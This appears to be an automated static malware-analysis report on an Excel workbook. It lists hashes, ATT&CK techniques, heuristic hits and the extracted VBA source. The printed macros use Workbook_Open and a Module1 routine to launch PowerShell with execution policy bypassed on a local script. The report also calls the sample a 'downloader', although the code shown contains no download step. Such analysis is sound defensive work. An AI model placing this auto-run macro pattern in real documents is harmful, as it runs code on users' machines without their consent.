Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 24ad2965971641cd…

MALICIOUS

Office (OOXML)

14.6 KB Created: 2021-09-10 05:59:27 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-18
MD5: e2e02dc7ef848129d9ac0d85ac7c81e6 SHA-1: 8f79d5dfca1c19f0d9963656000710423b2c0010 SHA-256: 24ad2965971641cd3a86a1a1d5fcf6239859777e42f0392e618f797018c5bdb7
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

This Excel document contains a Workbook_Open VBA macro that executes a PowerShell command. The command attempts to run a script located at 'C:\NothingSusHere\DefinitelyNotVirus.ps1'. This indicates a macro-based downloader designed to execute a secondary payload, likely for further malicious activity.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1407 bytes
SHA-256: f1924229145e3f265f6dee27c404eaa7aa5e7f039dc11453616e07bf602038ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim x As Variant
    x = Shell("POWERSHELL.exe -ExecutionPolicy ByPass -noexit " & _
       """C:\NothingSusHere\DefinitelyNotVirus.ps1""", 1)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{EA6C7B6C-E66A-4111-86EF-AF39662DF30E}{2139FFAE-413D-4889-9965-922471BF8CDB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"
Sub PeaceNotWar()
Attribute PeaceNotWar.VB_ProcData.VB_Invoke_Func = "R\n14"
    Dim x As Variant
    x = Shell("POWERSHELL.exe -ExecutionPolicy ByPass -noexit " & _
       """C:\NothingSusHere\DefinitelyNotVirus.ps1""", 1)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19968 bytes
SHA-256: b3d8bf6b66af040e1e8a5822782856160a830ca1d3e0cbebed35454a69845b7b